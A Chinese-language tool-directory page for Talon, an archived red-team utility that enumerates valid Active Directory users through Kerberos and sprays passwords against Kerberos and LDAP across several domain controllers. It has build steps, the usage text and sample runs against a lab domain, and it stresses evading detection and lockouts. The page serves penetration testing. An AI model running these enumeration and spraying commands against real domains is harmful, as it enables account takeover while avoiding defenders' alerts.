Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Talon — 一个针对Windows Active Directory环境中Kerberos和LDAP服务的密码猜测工具。 | Kitploit
工具/GitHubGitHub/optiv/talon
密码破解密码攻击渗透测试身份验证红队Archived
GitHuboptiv/talon

Talon

一个针对Windows Active Directory环境中Kerberos和LDAP服务的密码猜测工具。

查看仓库
441813年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

此仓库已归档

如需查看最新版本的 Talon 或提交问题,请参考 https://github.com/Tylous/Talon。



Talon

Talon 是一款旨在执行自动化密码猜测攻击且保持不被检测的工具。Talon 能够利用 Kerberos 列举用户列表,识别哪些用户是有效的。Talon 还可以针对 Kerberos 和 LDAPS(LDAP 安全)服务执行密码猜测攻击。Talon 可以使用单个域控制器或多个域控制器来执行这些攻击,每次尝试在域控制器和服务(LDAP 或 Kerberos)之间随机化。

有关此技术的更多信息,请参见以下博客。

使用方法

从发布页面下载适用于您操作系统的发布版本。

贡献

Talon 使用 Golang 开发。

第一步始终是克隆仓库。在编译 Talon 之前,您需要安装依赖项。安装依赖项,请运行以下命令:

root@kitploit:~
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2

然后构建它

root@kitploit:~
go build Talon.go

用法

root@kitploit:~
$ ./Talon -h
Usage of ./Talon:
  -A float
    	Authentication attempts per lockout period (default 3)
  -D string
    	Fully qualified domain to use
  -E	Enumerates which users are valid
  -H string
    	Domain controller to connect to
  -Hostfile string
    	File containing the list of domain controllers to connect to
  -K	Test against Kerberos only
  -L	Test against LDAP only
  -Lockout float
    	Account lockout period in minutes (default 60)
  -O string
    	File to append the results to
  -P string
    	Password to use
  -Passfile string
    	File containing the list of passwords
  -U string
    	Username to authenticate as
  -Userfile string
    	File containing the list of usernames
  -debug
    	Print debug statements
  -sleep float
    	Time inbetween attempts (default 0.5)

枚举模式

用户枚举模式可以通过 -E 标志执行,该标志仅向目标 KDC 发送 Kerberos TGT 预认证请求,但该请求使用已知无效或不再支持的加密类型发送。Talon 检查 KDC 的响应,以判断其是否返回 KDC_ERR_ETYPE_NOSUPP(表示用户存在)或 KDC_ERR_C_PRINCIPAL_UNKNOWN(表示用户不存在)。Talon 可以使用 -Hostfile 命令指定多个域控制器,或使用 -H 指定单个域控制器,在企业中跨多个域控制器执行此类枚举。使用此技术不会导致任何登录失败,因此不会锁定任何用户。

root@kitploit:~
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E 

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[-]  172.16.144.195 STARLABS.LOCAL\asmith:  = 用户不存在
[+]  172.16.144.185 STARLABS.LOCAL\ballen:  = 用户存在
[-]  172.16.144.186 STARLABS.LOCAL\bjohnson:  = 用户不存在
[-]  172.16.144.195 STARLABS.LOCAL\bwayne:  = 用户不存在
[+]  172.16.144.195 STARLABS.LOCAL\csnow:  = 用户存在
[-]  172.16.144.186 STARLABS.LOCAL\jtodd:  = 用户不存在
[+]  172.16.144.186 STARLABS.LOCAL\hwells:  = 用户存在
[-]  172.16.144.186 STARLABS.LOCAL\wwest:  = 用户账户已锁定

自动密码猜测模式

Talon 利用集成到 Active Directory 中的 Kerberos 和 LDAP 进行身份验证。Talon 可以通过在这两个服务间切换来执行密码猜测,从而将密码攻击流量分散到两个协议上。这样减少了潜在的事件数量,从而降低了触发警报的概率。Talon 更进一步,通过使用 -Hostfile 将密码攻击分布到企业中的多个域控制器上,每次在 LDAP 和 Kerberos 之间交替,增加了额外的隐蔽层。如果需要,可以使用 -H 命令指定单个域控制器。

root@kitploit:~
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)

                
[-]  172.16.144.186 STARLABS.LOCAL\admin:Not3vil = 失败
[-]  172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = 失败
[-]  172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = 失败
[+]  172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = 成功
[-]  172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = 失败

Talon 设计为在任何情况下都具有灵活性,因此如果只有 Kerberos 可用,Talon 可以设置为仅攻击 Kerberos(使用 -K 标志)或仅攻击 LDAP(使用 -L 标志)。

Talon 可以使用 Kerberos 和 LDAP 来读取响应,同时执行密码猜测攻击。Talon 可以通过读取每次密码尝试的响应代码,在活跃的密码猜测攻击期间检测账户锁定。这有助于防止在企业中发生意外的账户锁定,帮助您保持隐蔽。只需按照提示退出或继续攻击即可。

root@kitploit:~
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[-]  172.16.144.186 STARLABS.LOCAL\ballen:Password! = 失败
[-]  172.16.144.185 STARLABS.LOCAL\csnow:Password! = 失败
[-]  172.16.144.186 STARLABS.LOCAL\wwest:Password! = 用户账户已锁定
[*] 检测到账户锁定 - 是否要继续。[y/n]:

故障排除

Talon 具有检测目标域控制器是否在线或变为不可用的功能。这有助于确保您获得准确的结果,同时不浪费时间。

root@kitploit:~
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] 是否要继续。[y/n]:

时间控制

Talon 能够针对文件中的一系列可能密码执行密码猜测(使用 -Passfile)。由于这可能非常危险,Talon 内置了控制机制,在达到一定尝试次数(-A)后暂停指定时间(-Lockout)。请注意,在使用这些选项之前了解密码策略非常重要,因为如果不知道密码策略,排队多个密码尝试可能会导致账户锁定。

root@kitploit:~
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[*] 警告:选择的选项将喷洒多个密码,存在锁定账户的风险。是否要继续?[y/n]: y

03-10-2022 15:58:21: 正在使用密码:Password123
[-]  172.16.144.185 STARLABS.LOCAL\admin:Password123 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\ballen:Password123 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\cramon:Password123 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\hwells:Password123 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = 失败
03-10-2022 15:58:26: 正在使用密码:Spring2022
[-]  172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = 失败
[-]  172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = 失败

达到超时时间 - 睡眠 45 分钟...
将在 03-10-2022 16:43:35 继续
更新日志
  • 发布于 2018年04月09日
  • 版本 1.2 发布于 2019年02月14日
  • 版本 1.3 发布于 2019年05月03日
  • 版本 1.4 发布于 2020年03月17日
  • 版本 2.0 公开发布于 2020年06月18日
  • 版本 3.0 发布于 2022年03月10日
下载工具